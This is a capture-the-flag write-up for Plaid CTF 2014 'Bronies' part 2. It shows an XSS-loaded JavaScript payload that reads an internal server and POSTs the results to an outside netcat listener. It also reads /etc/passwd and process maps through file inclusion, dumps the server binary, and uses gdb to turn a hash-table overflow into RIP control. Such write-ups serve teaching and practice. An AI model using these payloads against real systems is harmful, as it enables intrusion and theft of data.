Hexcellents CTF Wiki

Plaid CTF 2014: "Bronies" Part 2. 500 out of 800 pts

Task text for part 1:

We are trying to break into eXtreme Secure Solutions, where The Plague works as a system adminstrator.
We have found that their internal company login page is at http://portal.essolutions.largestctf.com/.
Recon has also revealed that The Plague likes to browse this site during work hours: http://54.196.225.30/ using the username ponyboy2004.
Remember, our main target is to break into the company portal, *not* the pony site.

Task text for part 2:

This challenge has one more flag.  Break into the internal server to capture it!
Reminder: For security reasons, all internet traffic is blocked on the Bigson (http://bigson.essolutions.largestctf.com/index?file=index.html)

The difficulty of part 2 is that the Bigson cannot be accessed remotely so we need to do it via the previous XSS mechanism:

$ host-woods bigson.essolutions.largestctf.com
bigson.essolutions.largestctf.com	A	10.15.0.5

To get back information we will reuse what is on the otp site: AJAX. Let's do the exact query on the site and send the output to ourselves. We first need to get over the 127 character limitation in the argv[0] xss exploit. As the encoded payload we modify the following in create_xss_external.py:

#s   = """<script>document.location="http://%s/logger.php?cookie="+document.cookie;</script>""" % YOUR_IP
s = """<script\nsrc="http://swarm.cs.pub.ro/~rcaragea/part2.js"></script><!--"""

And this is part2.js:

part2.js
function do_requests(geturl) {
 
		var response = '';
 
		$.ajax({ type: "GET",
			url: geturl,
			async: false,
			success : function(data, textStatus, jqXHR)
			{
				response += "GET request response:\n" + jqXHR.responseText;
			},
			error: function(jqXHR, textStatus, ex) {
				response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode();
			}
		});
 
		$.ajax({ type: "POST",
			 url: "http://swarm.cs.pub.ro:42424",
			 async: false,
			 data:  "Response so far: [" + response + "]",
			 success : function(text)
			 {
			 }
		});
 
 
}
 
function requests() {
	do_requests("http://bigson.essolutions.largestctf.com/index?file=index.html");
}
 
	var script = document.createElement("SCRIPT");
	script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js';
	script.type = 'text/javascript';
	document.getElementsByTagName("head")[0].appendChild(script);
	script.onload = requests;

This is the output:

rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 36980
POST / HTTP/1.1
Origin: http://portal.essolutions.largestctf.com
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://portal.essolutions.largestctf.com/login.php
Content-Length: 272
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424
 
Response so far: [GET request response:
<!doctype html>
<html>
  <head>
    <title>
      The Bigson
    </title>
  </head>
  <body>
    <h1>The Bigson</h1>
    <p>Nobody can hack the Bigson!</p>
    <p>Note: The flag is not named anything obvious.</p>
  </body>
</html>

Of course we try some file inclusions. Notice that the URL is “index?file=index.html”. What does index contain?

http://bigson.essolutions.largestctf.com/index?file=index

Response so far: [GET request error response:
error
Not Found
Not found.Content-Type: text/plain
[object Object]]

There seems to be no index. What's more, the server does not issue a standard 404 response.

Response for [http://bigson.essolutions.largestctf.com/index?file=/etc/passwd] is: [GET request response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
admin:x:1000:1000:Debian:/home/admin:/bin/bash
bigson:x:1001:1001:,,,:/home/bigson:/bin/bash
]

Let's up the ante and see what exactly we're dealing with:

Response for [http://bigson.essolutions.largestctf.com/index?file=/proc/self/cmdline] is: [GET request response:
./bigson]
Response for [http://bigson.essolutions.largestctf.com/index?file=/proc/self/maps] is: [GET request response:
00400000-0040b000 r-xp 00000000 ca:00 137120                             /home/bigson/bigson
0060b000-0060c000 rw-p 0000b000 ca:00 137120                             /home/bigson/bigson
00c10000-00c31000 rw-p 00000000 00:00 0                                  [heap]
7f8b79db3000-7f8b79dbe000 r-xp 00000000 ca:00 131189                     /lib/x86_64-linux-gnu/libnss_files-2.13.so
7f8b79dbe000-7f8b79fbd000 ---p 0000b000 ca:00 131189                     /lib/x86_64-linux-gnu/libnss_files-2.13.so
7f8b79fbd000-7f8b79fbe000 r--p 0000a000 ca:00 131189                     /lib/x86_64-linux-gnu/libnss_files-2.13.so
7f8b79fbe000-7f8b79fbf000 rw-p 0000b000 ca:00 131189                     /lib/x86_64-linux-gnu/libnss_files-2.13.so
7f8b79fbf000-7f8b79fc9000 r-xp 00000000 ca:00 131185                     /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7f8b79fc9000-7f8b7a1c8000 ---p 0000a000 ca:00 131185                     /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7f8b7a1c8000-7f8b7a1c9000 r--p 00009000 ca:00 131185                     /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7f8b7a1c9000-7f8b7a1ca000 rw-p 0000a000 ca:00 131185                     /lib/x86_64-linux-gnu/libnss_nis-2.13.so
7f8b7a1ca000-7f8b7a1df000 r-xp 00000000 ca:00 131183                     /lib/x86_64-linux-gnu/libnsl-2.13.so
7f8b7a1df000-7f8b7a3de000 ---p 00015000 ca:00 131183                     /lib/x86_64-linux-gnu/libnsl-2.13.so
7f8b7a3de000-7f8b7a3df000 r--p 00014000 ca:00 131183                     /lib/x86_64-linux-gnu/libnsl-2.13.so
7f8b7a3df000-7f8b7a3e0000 rw-p 00015000 ca:00 131183                     /lib/x86_64-linux-gnu/libnsl-2.13.so
7f8b7a3e0000-7f8b7a3e2000 rw-p 00000000 00:00 0 
7f8b7a3e2000-7f8b7a3e9000 r-xp 00000000 ca:00 131178                     /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7f8b7a3e9000-7f8b7a5e8000 ---p 00007000 ca:00 131178                     /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7f8b7a5e8000-7f8b7a5e9000 r--p 00006000 ca:00 131178                     /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7f8b7a5e9000-7f8b7a5ea000 rw-p 00007000 ca:00 131178                     /lib/x86_64-linux-gnu/libnss_compat-2.13.so
7f8b7a5ea000-7f8b7a76c000 r-xp 00000000 ca:00 131172                     /lib/x86_64-linux-gnu/libc-2.13.so
7f8b7a76c000-7f8b7a96b000 ---p 00182000 ca:00 131172                     /lib/x86_64-linux-gnu/libc-2.13.so
7f8b7a96b000-7f8b7a96f000 r--p 00181000 ca:00 131172                     /lib/x86_64-linux-gnu/libc-2.13.so
7f8b7a96f000-7f8b7a970000 rw-p 00185000 ca:00 131172                     /lib/x86_64-linux-gnu/libc-2.13.so
7f8b7a970000-7f8b7a975000 rw-p 00000000 00:00 0 
7f8b7a975000-7f8b7a98a000 r-xp 00000000 ca:00 131614                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8b7a98a000-7f8b7ab8a000 ---p 00015000 ca:00 131614                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8b7ab8a000-7f8b7ab8b000 rw-p 00015000 ca:00 131614                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8b7ab8b000-7f8b7ac0c000 r-xp 00000000 ca:00 131180                     /lib/x86_64-linux-gnu/libm-2.13.so
7f8b7ac0c000-7f8b7ae0b000 ---p 00081000 ca:00 131180                     /lib/x86_64-linux-gnu/libm-2.13.so
7f8b7ae0b000-7f8b7ae0c000 r--p 00080000 ca:00 131180                     /lib/x86_64-linux-gnu/libm-2.13.so
7f8b7ae0c000-7f8b7ae0d000 rw-p 00081000 ca:00 131180                     /lib/x86_64-linux-gnu/libm-2.13.so
7f8b7ae0d000-7f8b7aef5000 r-xp 00000000 ca:00 5400                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17
7f8b7aef5000-7f8b7b0f5000 ---p 000e8000 ca:00 5400                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17
7f8b7b0f5000-7f8b7b0fd000 r--p 000e8000 ca:00 5400                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17
7f8b7b0fd000-7f8b7b0ff000 rw-p 000f0000 ca:00 5400                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.17
7f8b7b0ff000-7f8b7b114000 rw-p 00000000 00:00 0 
7f8b7b114000-7f8b7b134000 r-xp 00000000 ca:00 131650                     /lib/x86_64-linux-gnu/ld-2.13.so
7f8b7b329000-7f8b7b32e000 rw-p 00000000 00:00 0 
7f8b7b331000-7f8b7b333000 rw-p 00000000 00:00 0 
7f8b7b333000-7f8b7b334000 r--p 0001f000 ca:00 131650                     /lib/x86_64-linux-gnu/ld-2.13.so
7f8b7b334000-7f8b7b335000 rw-p 00020000 ca:00 131650                     /lib/x86_64-linux-gnu/ld-2.13.so
7f8b7b335000-7f8b7b336000 rw-p 00000000 00:00 0 
7fffbf2bb000-7fffbf2dc000 rw-p 00000000 00:00 0                          [stack]
7fffbf3cf000-7fffbf3d0000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
]

A second request to /proc/self/maps reveals the same memory layout so at least we don't need to worry about ASLR. We now know the location of the binary, however doing a request on “/home/bigson/bigson” leaves us with a corrupt ELF file with lots of BFFD bytes. After searching on the web for a solution we find that the problem lies with the charset. Trying another charset such as charset=us-ascii solves the problem a bit more but not entirely. More googling leads us to https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data where we hit upon the correct charset to be used: charset=x-user-defined. Trying locally on a binary such as “/bin/ls” confirms this is a valid solution.

part2.js
function do_requests(geturl) {
 
		var response = '';
 
		$.ajax({ type: "GET",
			url: geturl,
			async: false,
			beforeSend : function (xhr) {
				xhr.overrideMimeType( "application/octet-stream; charset=x-user-defined" );
			},
			success : function(data, textStatus, jqXHR)
			{
				response += jqXHR.responseText;
			},
			error: function(jqXHR, textStatus, ex) {
				response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode();
			}
		});
 
		var resp = "[";
		for ( var i = 0; i < response.length;  i++ ) {
			resp += (response.charCodeAt(i) & 0xFF) + ",";
		}
 
		resp += "]";
 
		$.ajax({ type: "POST",
			 url: "http://swarm.cs.pub.ro:42424",
			 async: false,
			 data:  "Response for ["+ geturl + "] is: [\n" + resp,
			 success : function(text)
			 {
			 }
		});
 
 
}
 
function requests() {
	do_requests("http://bigson.essolutions.largestctf.com/index?file=/home/bigson/bigson");
}
 
	var script = document.createElement("SCRIPT");
	script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js';
	script.type = 'text/javascript';
	document.getElementsByTagName("head")[0].appendChild(script);
	script.onload = requests;
listdec.py
#!/usr/bin/python
 
import base64, urllib, sys
f = open( sys.argv[1], "r")
s = f.read()
a = eval(s)
print ''.join([chr(i) for i in a])
rcaragea@swarm:~$ nc -lvp 42424 > response
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37112
rcaragea@swarm:~$ nano response
rcaragea@swarm:~$ python ./listdec.py response   > /tmp/bigson_test
rcaragea@swarm:~$ file /tmp/bigson_test 
/tmp/bigson_test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=79349a2a7b411808d739025c5d61c62fbfc9942e, not stripped
rcaragea@swarm:~$ # /tmp/bigson_test 
bind: Address already in use

Of course this is a very crude and not so elegant solution but it seems to be working. We dump the other libraries in case we will need ROP gadgets and start analyzing the binary.

Binary Analysis

The initial analysis reveals the webserver is written in C++.

The first thing to do is to demangle the names using http://demangler.com/ or the settings in your favorite program.
The output is better now:

Some interesting class names now appear:

  • HashTable
  • HTTPRequest
  • HTTPResponse
  • Dispatcher
  • HashEntry
  • PHPHash

There is also an interesting assert call in the binary:

            __assert_fail("hash_function_ != nullptr", "stage2.cc", 0xcd, "size_t HashTable::Hash(const string&) const");

Of course we should try to download stage2.cc from various directories but it doesn't appear to be on the filesystem.
By fuzzing the URL we get an interesting crash when a GET parameter is too big. Further analysis using a combination of IDA, Hopper and manual reversing leads us to the source of the crash:

function HashTable::Insert(std::string const&, std::string const&) 
 {
    bucket_array = rdi;
    var_16 = rsi;
    var_8 = rdx;
    rax = HashTable::Lookup(bucket_array, var_16, var_16);
    hashentry = rax;
    if (hashentry == 0x0) {
            rax = operator new(0x18);
            rbx = rax;
            HashEntry::HashEntry(rbx, var_16);
            hashentry = rbx;
            hash_val = HashTable::Hash(bucket_array, var_16, var_16);
 
            hashentry->next = bucket_array[1 + hash_val];  //crashes here at 0x4032d4    ; new entry's next points to rest of chain (add to front)
            bucket_array[1 + hash_val] = hashentry;        //                            ; bucket array points to new entry
    }
    rax = std::string::operator=(hashentry, var_8, var_8);
    return rax;
}

It first looks up the parameter given in order to check if it was already inserted, if not it allocates a new HashEntry instance populates it and stores it at bucket_array[1 + hash(parameter)]. What is the hash function then? Let's check the constructor.

function HashTable::HashTable() {
    var_8 = rdi;
    *var_8 = 0x0;
    rsi = var_8 + 0x8;
    asm{ rep stosq   };
    rax = operator new(0x8, rsi, 0x101, 0x101);
    rbx = rax;
    PHPHash::PHPHash(rbx);
    rax = _ZNSt10unique_ptrI12HashFunctionSt14default_deleteIS0_EEC2EPS0_(var_8 + 0x810, rbx);
    return rax;
}

Hmm, what does PHPHash do?

function PHPHash::operator()(char const*) {
    var_m24 = rdi;
    var_m32 = rsi;
    var_m8 = 0x0;
    rax = *(int8_t *)var_m32 & 0xff;
    TEST(rax & rax);
    asm{ setne      al };
    while (rax != 0x0) {
            var_m32 = var_m32 + 0x1;
            var_m8 = var_m8 + 0x1;
    }
    rax = var_m8;
    return rax;
}

Hilarious! It's good old strlen. Here's a reference to the source of the name: https://news.ycombinator.com/item?id=6919216

Exploiting the vulnerability

So using the length of the parameter we can overwrite stuff in that memory zone. Let's see what we have there and what exactly gets written.

$ curl 127.0.0.1:81/index?TESTINGPARAM=TESTINGVALUE
 
 
... in another terminal:
 
gdb-peda$ set follow-fork-mode child 
gdb-peda$ b *0x4032d4 
Breakpoint 1 at 0x4032d4
 
gdb-peda$ run
[New process 25704]
[Switching to process 25704]
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffd350 --> 0x0 
RBX: 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0 
RCX: 0x7ffff75b85c0 --> 0x0 
RDX: 0xc ('\x0c')
RSI: 0x60fad8 ("TESTINGPARAM")
RDI: 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>:	push   rbp)
RBP: 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
RSP: 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
RIP: 0x4032d4 (<_ZN9HashTable6InsertERKSsS1_+116>:	mov    rdx,QWORD PTR [rax+rdx*8+0x8])
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffffcf00 --> 0x0 
R11: 0x7ffff7b907d0 (<_ZNKSs5c_strEv>:	mov    rax,QWORD PTR [rdi])
R12: 0x401ff0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4032c8 <_ZN9HashTable6InsertERKSsS1_+104>:	mov    QWORD PTR [rbp-0x20],rax
   0x4032cc <_ZN9HashTable6InsertERKSsS1_+108>:	mov    rax,QWORD PTR [rbp-0x28]
   0x4032d0 <_ZN9HashTable6InsertERKSsS1_+112>:	mov    rdx,QWORD PTR [rbp-0x20]
=> 0x4032d4 <_ZN9HashTable6InsertERKSsS1_+116>:	mov    rdx,QWORD PTR [rax+rdx*8+0x8]
   0x4032d9 <_ZN9HashTable6InsertERKSsS1_+121>:	mov    rax,QWORD PTR [rbp-0x18]
   0x4032dd <_ZN9HashTable6InsertERKSsS1_+125>:	mov    QWORD PTR [rax+0x10],rdx
   0x4032e1 <_ZN9HashTable6InsertERKSsS1_+129>:	mov    rax,QWORD PTR [rbp-0x28]
   0x4032e5 <_ZN9HashTable6InsertERKSsS1_+133>:	mov    rdx,QWORD PTR [rbp-0x20]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0008| 0x7fffffffd188 --> 0x7fffffffd1e0 --> 0x60fb18 ("TESTINGVALUE")
0016| 0x7fffffffd190 --> 0x7fffffffd1f0 --> 0x60fad8 ("TESTINGPARAM")
0024| 0x7fffffffd198 --> 0x7fffffffd350 --> 0x0 
0032| 0x7fffffffd1a0 --> 0xc ('\x0c')
0040| 0x7fffffffd1a8 --> 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0 
0048| 0x7fffffffd1b0 --> 0x0 
0056| 0x7fffffffd1b8 --> 0x401ff0 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 1, 0x00000000004032d4 in HashTable::Insert(std::string const&, std::string const&) ()
gdb-peda$ telescope $rax 300
0000| 0x7fffffffd350 --> 0x0 
0008| 0x7fffffffd358 --> 0x0 
0016| 0x7fffffffd360 --> 0x0 
0024| 0x7fffffffd368 --> 0x0 
0032| 0x7fffffffd370 --> 0x0 
0040| 0x7fffffffd378 --> 0x0 
0048| 0x7fffffffd380 --> 0x0 
0056| 0x7fffffffd388 --> 0x0 
0064| 0x7fffffffd390 --> 0x0 
0072| 0x7fffffffd398 --> 0x0 
0080| 0x7fffffffd3a0 --> 0x0 
0088| 0x7fffffffd3a8 --> 0x0 
0096| 0x7fffffffd3b0 --> 0x0 
0104| 0x7fffffffd3b8 --> 0x0 
0112| 0x7fffffffd3c0 --> 0x0 
0120| 0x7fffffffd3c8 --> 0x0 
0128| 0x7fffffffd3d0 --> 0x0 
0136| 0x7fffffffd3d8 --> 0x0 
0144| 0x7fffffffd3e0 --> 0x0 
.........................................................
2000| 0x7fffffffdb20 --> 0x0 
2008| 0x7fffffffdb28 --> 0x0 
2016| 0x7fffffffdb30 --> 0x0 
2024| 0x7fffffffdb38 --> 0x0 
2032| 0x7fffffffdb40 --> 0x0 
2040| 0x7fffffffdb48 --> 0x0 
2048| 0x7fffffffdb50 --> 0x0 
2056| 0x7fffffffdb58 --> 0x0 
2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>:	push   rbp)
2072| 0x7fffffffdb68 --> 0x7ffff72d1d83 (<setgid+19>:	cmp    rax,0xfffffffffffff000)
2080| 0x7fffffffdb70 --> 0xffffffffffffff88 
2088| 0x7fffffffdb78 --> 0x0 
2096| 0x7fffffffdb80 --> 0x3eb 
2104| 0x7fffffffdb88 --> 0x3 
2112| 0x7fffffffdb90 --> 0x0 
2120| 0x7fffffffdb98 --> 0x0 
2128| 0x7fffffffdba0 --> 0x18 
2136| 0x7fffffffdba8 --> 0x0 
2144| 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
2152| 0x7fffffffdbb8 --> 0x402d12 (<_Z6handlei+26>:	leave)
2160| 0x7fffffffdbc0 --> 0x7ffff7fb4740 (0x00007ffff7fb4740)
2168| 0x7fffffffdbc8 --> 0xaf75baec0 
2176| 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
2184| 0x7fffffffdbd8 --> 0x402f1e (<main+522>:	mov    eax,DWORD PTR [rbp-0x8])

The push rbp instruction seems interesting as that's the beginning of function prologues. Demangling the name gives us: “PHPHash::~PHPHash()”. Maybe we can overwrite it somehow.
We first check what gets written by our initial query by doing some more steps and dumping the memory:

gdb-peda$ telescope 0x7fffffffd350 20
0000| 0x7fffffffd350 --> 0x1 
0008| 0x7fffffffd358 --> 0x0 
0016| 0x7fffffffd360 --> 0x0 
0024| 0x7fffffffd368 --> 0x0 
0032| 0x7fffffffd370 --> 0x0 
0040| 0x7fffffffd378 --> 0x0 
0048| 0x7fffffffd380 --> 0x0 
0056| 0x7fffffffd388 --> 0x0 
0064| 0x7fffffffd390 --> 0x0 
0072| 0x7fffffffd398 --> 0x0 
0080| 0x7fffffffd3a0 --> 0x0 
0088| 0x7fffffffd3a8 --> 0x0 
0096| 0x7fffffffd3b0 --> 0x0 
0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE")

Thus we have

0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE")

versus

2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>:	push   rbp)

The indirection levels seem to be equal. Let's try and force a segmentation fault at 44434241 using ABCD.
First we find out where the call is made from by setting a breakpoint on 0x403126. The location is

   0x00000000004034ce <+120>:	call   r12
$ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=ABCD
$ dmesg | tail -1
[Apr19 20:01] bigson_fork_nol[26239]: segfault at 1 ip 0000000000000001 sp 00007fffffffcf88 error 14 in bigson_fork_nolocal[400000+b000]

It doesn't seem to be working. We set a breakpoint right before r12 is set.

gdb-peda$ 
[----------------------------------registers-----------------------------------]
RAX: 0x60fd78 --> 0x6161610044434241 ('ABCD')
RBX: 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD')
RCX: 0x60fc08 --> 0x61616100656c6966 ('file')
RDX: 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
RSI: 0x0 
RDI: 0x7fffffffdb60 --> 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD')
RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
RIP: 0x4034b5 (<_ZNK9HashTable4HashERKSs+95>:	add    rax,0x18)
R8 : 0x2710 
R9 : 0x0 
R10: 0x7ffff75b8618 --> 0x610290 --> 0x0 
R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 
R12: 0x401ff0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4034aa <_ZNK9HashTable4HashERKSs+84>:	call   0x404610 <_ZNKSt10unique_ptrI12HashFunctionSt14default_deleteIS0_EEdeEv>
   0x4034af <_ZNK9HashTable4HashERKSs+89>:	mov    rbx,rax
   0x4034b2 <_ZNK9HashTable4HashERKSs+92>:	mov    rax,QWORD PTR [rbx]
=> 0x4034b5 <_ZNK9HashTable4HashERKSs+95>:	add    rax,0x18
   0x4034b9 <_ZNK9HashTable4HashERKSs+99>:	mov    r12,QWORD PTR [rax]
   0x4034bc <_ZNK9HashTable4HashERKSs+102>:	mov    rax,QWORD PTR [rbp-0x20]
   0x4034c0 <_ZNK9HashTable4HashERKSs+106>:	mov    rdi,rax
   0x4034c3 <_ZNK9HashTable4HashERKSs+109>:	call   0x401bb0 <_ZNKSs5c_strEv@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 
0016| 0x7fffffffcfa0 --> 0x0 
0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>:	xor    ebp,ebp)
0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>:	mov    QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004034b5 in HashTable::Hash(std::string const&) const ()
gdb-peda$ hexdump $rax /4
0x0060fd78 : 41 42 43 44 00 61 61 61 00 00 00 00 00 00 00 00   ABCD.aaa........
0x0060fd88 : 41 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00   A...............
0x0060fd98 : b8 d2 ff ff ff 7f 00 00 00 00 00 00 00 00 00 00   ................
0x0060fda8 : 00 00 00 00 00 00 00 00 48 fd 60 00 00 00 00 00   ........H.`.....

Okay. The value needs to be longer. We do a standard pattern create+send+search to figure it out effortlessly:

gdb-peda$ pattc 0x32
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA'
 
............
$ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA
.....................
 
 
gdb-peda$ 
Stopped reason: SIGSEGV
0x00000000004034ce in HashTable::Hash(std::string const&) const ()
gdb-peda$ patts r12
Registers contain pattern buffer:
R12+0 found at offset: 24

As expected, the dereferencing is done at 0x18 = 24. We now control RIP.

Finding a useful gadget

Since the binary has NX enabled we can't insert a shellcode and jump to it. We need to do a ROP attack using only one gadget. For this we also need to find out what we have on the stack and in the registers.

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
 
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26521]
[----------------------------------registers-----------------------------------]
RAX: 0x60fc38 --> 0x61616100656c6966 ('file')
RBX: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RCX: 0x60fc38 --> 0x61616100656c6966 ('file')
RDX: 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
RSI: 0x60fc38 --> 0x61616100656c6966 ('file')
RDI: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>:	call   r12)
R8 : 0x2710 
R9 : 0x0 
R10: 0x7ffff75b8618 --> 0x6102d0 --> 0x0 
R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 
R12: 0x6161610044434241 ('ABCD')
R13: 0x7fffffffdd00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4034c3 <_ZNK9HashTable4HashERKSs+109>:	call   0x401bb0 <_ZNKSs5c_strEv@plt>
   0x4034c8 <_ZNK9HashTable4HashERKSs+114>:	mov    rsi,rax
   0x4034cb <_ZNK9HashTable4HashERKSs+117>:	mov    rdi,rbx
=> 0x4034ce <_ZNK9HashTable4HashERKSs+120>:	call   r12
